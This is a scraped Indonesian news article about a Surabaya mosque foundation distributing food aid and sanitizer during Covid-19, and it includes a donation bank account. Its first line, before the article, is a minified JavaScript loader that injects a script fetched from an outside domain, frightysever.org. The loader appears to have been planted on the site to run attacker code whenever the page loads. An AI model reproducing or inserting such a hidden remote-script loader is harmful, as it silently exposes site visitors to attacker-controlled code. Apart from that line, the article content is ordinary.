(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, SURABAYA – Untuk mengurangi beban masyarakat yang terdampak wabah Covid19, Yayasan Ash-Shoobiriin Surabaya membagikan ratusan porsi makan siang dan paket sembako kepada masyarakat yang terdampak, di antaranya pengemudi ojek, petugas kebersihan, guru mengaji, dan masyarat lain yang membutuhkan.
Gerakan sosial yang diberi nama Gerakan Mesem (Memberi Sembako) tersebut rencananya digelar hingga Ramadan mendatang dengan konsep kegiatan yang berbeda. Selasa (21/4), panitia Gerakan Mesem membagikan 150 paket sembako, hand sanitizer, dan masker kepada warga sekitar Masjid Ash-Shobiriin di kawasan Rungkut Mapan Surabaya.
Selain membagikan paket sembako, setiap Yayasan Ash-Shobiriin juga membagikan makan siang gratis utk abang becak, pengemudi ojol, dan pekerja harian di sekitar masjid. Menurut Ketua Panitia Gerakan Mesem, Molik Latif, hingga saat ini sudah lebih dari 6.500 nasi kotak dibagikan kepada mereka yang membutuhkan.
“Untuk hari ini, Selasa (21/4), kami membagikan 800 paket nasi kotak, 1.200 botol hand sanitizer, dan 150 paket sembako yang berisi 5 kilogram beras, 1 liter minyak goreng, beberapa bungkus mi instan dan sejumlah uang tunai untuk guru mengaji dan warga sekitar masjid yang mengalami pemutusan hubungan kerja, terang Molik di sela pembagian sembako di Masjid Ash-Shoobiriin.
Ia menambahkan, sumber pendanaan yang didapat Yayasan Ash-Shobiriin untuk Gerakan Mesem ini berasal dari para jamaah masjid dan donatur. ”Alhamdulilah, jamaah Masjid Ash-Shobiriin juga turut berpartisipasi dengan membantu mencarikan donatur untuk Gerakan Mesem ini,” papar Molik.
Untuk memperoleh data yang akurat agar pembagian paket sembako tepat sasaran, panitia Gerakan Mesem bekerjasama dan berkoordinasi dengan perangkat kelurahan dan RW setempat. Target penerima sembako difokuskan kepada warga miskin dan korban PHK.
“Semoga sedikit bantuan ini bisa meringankan beban warga yang kurang mampu dan korban PHK. Selain itu kami mengimbau agar masyarakat mengikuti anjuran pemerintah menjaga phsyical distancing dan social distancing dengan mengurangi kegiatan kumpul-kumpul agar wabah corona cepat berakhir,” pungkas Molik.
Untuk menambah jangkauan Gerakan Mesem, Yayasan Ash-Shobiriin menerima donasi dari masyarakat yang akan disampaikan kepada mereka yang membutuhkan. Donasi dapat disalurkan melalui rekening Bank Syariah Mandiri nomor 786 888 8878 atas nama Yayasan Ash-Shobiriin atau langsung ke Masjid Ash-Shobiriin yang beralamat di Jalan Raya Rungkut Mapan FD 01A Surabaya. (kanalkalimantan.com/zie)
KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Membuka tahun 2026, Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan (Kalsel) menggelar… Read More
Saat ini Ada 17 Situs Geologi Utama, 50 Titik Potensial Masih Dikaji Read More
KANALKALIMANTAN.COM, BANJARMASIN – Sudah lama para skater menanti kehadiran skatepark di Kota Banjarmasin. Pasalnya, Siring… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi III Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru turun melakukan pengecekan… Read More
This website uses cookies.